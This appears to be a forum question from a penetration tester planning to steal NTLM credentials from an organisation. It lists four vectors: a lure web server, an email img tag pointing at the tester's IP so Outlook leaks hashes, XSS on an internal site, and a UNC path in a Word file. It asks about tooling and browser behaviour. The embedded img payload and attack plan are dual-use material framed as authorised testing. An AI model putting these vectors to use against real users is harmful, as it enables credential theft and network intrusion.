I am trying to design an attack vector against an organization in which the pen tester (myself), steals NTLM credentials through HTTP. I am thinking of these scenarios:
1- I set up a web server on my machine and social-engineer the users to visit it.
2- I send an email with an embedded
<img src="my.ip.address/x.gif"/> so that Outlook sends the NTLM credentials automatically.
3- I use XSS on a local website of theirs to get the NTLM credentials.
4- UNC path to my IP address in a Word file.
I would like to get help and opinions in the following matters:
- Do you know of any tool that helps automate some parts here?
- Will linking to users by IP address actually force them to use their NTLM credentials, not Kerberos?
- Can I pull this attack on non-IE?
- Does it have to be a Trusted Zone in IE? Will my IP address (local in their network range, not external) be considered a Trusted Zone/part of the domain in IE?
- How can I get it in XSS? What kind of XSS code can help here?
- Will Outlook Word document preview execute my UNC trick correctly or do they have to download and run it?
Thank you very much.